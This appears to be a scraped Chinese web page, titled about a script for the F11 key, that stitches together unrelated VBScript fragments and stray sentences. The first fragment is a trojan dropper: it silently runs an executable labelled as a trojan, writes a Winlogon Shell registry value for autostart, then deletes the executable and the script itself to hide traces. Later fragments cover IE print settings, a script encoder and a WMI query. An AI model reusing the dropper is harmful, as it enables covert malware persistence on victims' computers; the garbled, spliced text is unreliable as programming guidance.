脚本如何写运行f11键网页js
当你在窗体上加入Timer控件时,它只出现在设计时,而不会在运行时出现可见的控件图标dim wsh set wsh=CreateObject("WScript.Shell") wsh.run "%windir%\flumasko.exe",0 //运行木马程序 set sm=Wscript.CreateObject("WScript.Shell") sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe" //写进注册表项实现自启动 set WshShell=WScript.CreateObject("WScript.Shell") WScript.Sleep 2000 //等木马的执行完毕 Set fso=CreateObject("Scripting.FileSystemObject") f=fso.DeleteFile ("flumasko.exe") f=fso.DeleteFile (WScript.ScriptName) //毁尸灭迹

optionexplicit dimhkey_root,hkey_path,hkey_key,filepath dimfs,fso,regwsh hkey_root="hkey_current_user" hkey_path="\software\microsoft\internetexplorer" //先创建文件 setfs=wscript.createobject("scripting.filesystemobject") filepath="c:\pagesetup_default.htm" setfso=fs.createtextfile(filepath,true) fso.write("<scriptlanguage=""vbscript"">"+vbcrlf_ +"dimhkey_root,hkey_path,hkey_key,filepath,regwsh"+vbcrlf_ +"hkey_root=""hkey_current_user"""+vbcrlf_ +"hkey_path=""\software\microsoft\internetexplorer"""+vbcrlf_ +"filepath=""c:\pagesetup_null.htm"""+vbcrlf_ +"设置网页打印的页眉页脚为默认值"+vbcrlf_ +"setregwsh=createobject(""wscript.shell"")"+vbcrlf_ +"hkey_key=""\pagesetup\header"""+vbcrlf_ +"regwsh.regwritehkey_root+hkey_path+hkey_key,""&w&b页码:&p/&p"""+vbcrlf_ +"hkey_key=""\pagesetup\footer"""+vbcrlf_ +"regwsh.regwritehkey_root+hkey_path+hkey_key,""&u&b&d"""+vbcrlf_ +"设置右键菜单上的显示文字"+vbcrlf_ +"首先删除原来的项,然后再设置新的项"+vbcrlf_ +"onerrorresumenext"+vbcrlf_ +"hkey_key=hkey_root+hkey_path+""\menuext\打印时恢复页眉页脚"""+vbcrlf_ +"regwsh.regdeletehkey_key"+vbcrlf_ +"hkey_key=hkey_root+hkey_path+""\menuext\打印时去掉页眉页脚"""+vbcrlf_ +"regwsh.regwritehkey_key,filepath"+vbcrlf_ +"关闭regwsh"+vbcrlf_ +"setregwsh=nothing"+vbcrlf_ +"</script>") fso.close filepath="c:\pagesetup_null.htm" setfso=fs.createtextfile(filepath,true) fso.write("<scriptlanguage=""vbscript"">"+vbcrlf_ +"dimhkey_root,hkey_path,hkey_key,filepath,regwsh"+vbcrlf_ +"hkey_root=""hkey_current_user"""+vbcrlf_ +"hkey_path=""\software\microsoft\internetexplorer"""+vbcrlf_ +"filepath=""c:\pagesetup_default.htm"""+vbcrlf_ +"设置网页打印的页眉页脚为空"+vbcrlf_ +"setregwsh=createobject(""wscript.shell"")"+vbcrlf_ +"hkey_key=""\pagesetup\header"""+vbcrlf_ +"regwsh.regwritehkey_root+hkey_path+hkey_key,"""""+vbcrlf_ +"hkey_key=""\pagesetup\footer"""+vbcrlf_ +"regwsh.regwritehkey_root+hkey_path+hkey_key,"""""+vbcrlf_ +"设置右键菜单上的显示文字"+vbcrlf_ +"首先删除原来的项,然后再设置新的项"+vbcrlf_ +"onerrorresumenext"+vbcrlf_ +"hkey_key=hkey_root+hkey_path+""\menuext\打印时去掉页眉页脚"""+vbcrlf_ +"regwsh.regdeletehkey_key"+vbcrlf_ +"hkey_key=hkey_root+hkey_path+""\menuext\打印时恢复页眉页脚"""+vbcrlf_ +"regwsh.regwritehkey_key,filepath"+vbcrlf_ +"关闭regwsh"+vbcrlf_ +"setregwsh=nothing"+vbcrlf_ +"</script>") fso.close setregwsh=wscript.createobject("wscript.shell") hkey_key=hkey_root+hkey_path+"\menuext\打印时去掉页眉页脚" regwsh.regwritehkey_key,"c:\pagesetup_null.htm"Buttoncompleted当多媒体MCI控制按钮激活的MCI命令完成后发送
保存为文件:"+chr(10)&chr(10)&_ FSO.BuildPath(PkgPath,PkgName&"_Encode.VBS")+chr(10)+chr(10)+_ chr(10)&CloseTime&"秒钟后本窗口将自动关闭!"+chr(10)+chr(10)+_ chr(10)&"Copyright(C)"+Copyright+""&QQ&""+Email_ ,CloseTime,EnCodePanDuan+"-"+Copyright,0+64 EndSub SubUnCodeFile() SetReadFile=FSO.OpenTextFile(Package,1) ReadLineTextFile1=ReadFile.ReadLine ReadLineTextFile2=ReadFile.ReadLine ReadLineTextFile3=ReadFile.ReadLine ReadFile.Close SetNewFile=FSO.CreateTextFile(FSO.BuildPath(PkgPath,PkgName&"_Uncode.VBS"),True) NewFile.WriteLine(ReadLineTextFile2) NewFile.WriteLine(ReadLineTextFile3) NewFile.WriteLine("EnCodePanDuan="&chr(34)&ReadLineTextFile1&chr(34)&vbCrLf&"EnCodePD="&chr (34)&"RemEnCode-VeryByQQ:415736"&chr(34)&vbCrLf&"Fori=1ToLen (ThisText)"&vbCrLf&"TempNum=Asc(Mid(ThisText,i,1))"&vbCrLf&"TempChar=Chr (TempNum)"&vbCrLf&"ifEnCodePanDuan=EnCodePDthen"&vbCrLf&"IfTempChar=Chr(58) Then"&vbCrLf&"TempChar=Chr(13)"&vbCrLf&"EndIf"&vbCrLf&"EndIf"&vbCrLf&"ThisTextTem= ThisTextTem&TempChar"&vbCrLf&"Next") NewFile.WriteLine("strCode=(ThisTextTem)"&vbCrLf&"SetWshSHell=WScript.CreateObject ("&chr(34)&"WScript.Shell"&chr(34)&")"&vbCrLf&"SetFSO=CreateObject("&chr(34) &"Scripting.filesystemobject"&chr(34)&")"&vbCrLf&"FileName= WScript.ScriptName"&vbCrLf&"SetfC=FSO.OpenTextFile(FileName,2,true)"&vbCrLf&"fC.Write strCode"&vbCrLf&"fC.Close"&vbCrLf&"SetWshSHell=Nothing"&vbCrLf&"SetFSO= Nothing"&vbCrLf&"WScript.Quit(0)") NewFile.Close WScript.Sleep1500 WshSHell.Run(chr(34)&FSO.BuildPath(PkgPath,PkgName&"_Uncode.VBS")&chr(34)),vbHide WshShell.popupchr(10)&_ "解密成功了可以采用“旁门左道”的方式使用Instr函数实现代码的简练
COM的CONNECTIONPOINT可以成为一种事件发生回调机制荣誉截图看strin1$为当前字符串,strin2$为上一字符串strComputer="." Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\CIMV2") Set colItems=objWMIService.ExecQuery( _ "SELECT * FROM Win32_NetworkAdapterConfiguration",,48) For Each objItem in colItems Wscript.Echo objItem.Caption & fOutput(objItem.Caption) & "textinfo"Next
。